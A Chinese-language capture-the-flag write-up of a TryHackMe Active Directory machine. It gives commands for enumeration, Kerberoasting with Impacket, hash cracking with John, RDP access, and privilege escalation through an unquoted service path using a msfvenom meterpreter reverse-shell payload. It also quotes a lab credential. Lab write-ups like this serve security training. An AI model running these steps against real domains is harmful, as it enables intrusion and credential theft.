Active Directory 渗透测试实战:从域用户提权到系统控制
Active Directory 渗透测试:企业级实战
Intro
这是 TryHackMe 平台上基于 Active Directory 渗透测试的困难级别靶机。目标是通过攻击 Windows 域控制器获取完全控制权。渗透路径包括:通过 RDP 获取初始立足点,再利用非引号服务路径漏洞进行特权提升。下面开始实战。
Nmap 扫描
按惯例我们首先进行基础 Nmap 扫描,发现多个开放端口,其中 80、88、389 等端口值得关注,且 3389 端口运行着 RDP 服务。
技巧:nmap -sVC -p- -Pn -T4 <ip> -vv
Web 枚举
首先访问 80 端口的 Web 服务器,未发现有效信息
使用 GoBuster 进行目录暴力枚举
发现 robots.txt 文件但无重要内容,提示应枚举服务而非 Web 服务器
在 7990 端口发现登录表单和提示信息:"Enterprise-THM 已迁移至 Github"
通过 Google 搜索找到用户 Nik 的 Github 仓库
在其 mgmtScript.ps1 文件的历史提交中发现凭证泄露
凭证:nik : ToastyBoi!
AD 域渗透
尝试用该凭证连接 RDP 失败
使用 ldapdomaindump 工具提取域信息
技巧:
ldapdomaindump <ip> -u 'LAB-ENTERPRISE\nik' -p <password>
分析生成的 domain_users.html 文件,发现 nik 用户无 RDP 权限,但 bitbucket 用户属于"Remote Desktop Users"组
使用 Impacket 的 GetUserSPNs.py 获取服务票据
技巧:
python3 GetUserSPNs.py -dc-ip <ip> 'LAB.ENTERPRISE.THM/nik:<password>' -request
用 John 破解 Kerberos 哈希获取 RDP 凭证
技巧:
john --wordlist=<path> has.txt
使用 xfreerdp 建立远程桌面会话
技巧:
xfreerdp /u:<username> /p:<password> /v:<ip>
用户权限获取
成功获取桌面上的第一个用户 flag。
特权提升
上传 winPEASx64.exe 进行自动化检测,发现可被利用的非引号服务路径漏洞
漏洞服务:zerotieroneservice
路径:
C:\Program Files (x86)\Zero Tier\Zero Tier one
(注意路径中包含空格但未使用引号)确认该路径可写后,使用 msfvenom 生成 Windows 载荷
技巧:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<tun0_ip> LPORT=<any_port> -f exe -o shell.exe
将 payload 上传至
C:\Program Files (x86)\Zero Tier\
目录在 Metasploit 中设置监听器
重启目标机上的 zerotieroneservice 服务
获得 system32 反向 shell(初始会话不稳定)
使用进程迁移稳定会话
技巧:
migrate -N winlogon.exe
最终获得管理员权限并取得 root flag
总结
通过本次实战,我们完整掌握了 Active Directory 渗透测试的关键技术链,包括信息收集、凭证提取、服务票据破解和非引号路径漏洞利用等高级技巧。
Happy Hacking~更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码

评论